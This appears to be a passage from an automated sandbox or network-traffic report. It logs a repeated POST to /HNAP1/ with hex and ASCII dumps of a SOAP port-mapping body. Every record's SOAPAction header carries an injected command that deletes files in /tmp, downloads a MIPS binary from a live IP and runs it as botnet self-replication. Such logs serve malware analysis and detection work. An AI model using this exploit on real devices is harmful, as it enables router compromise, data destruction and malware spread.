64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
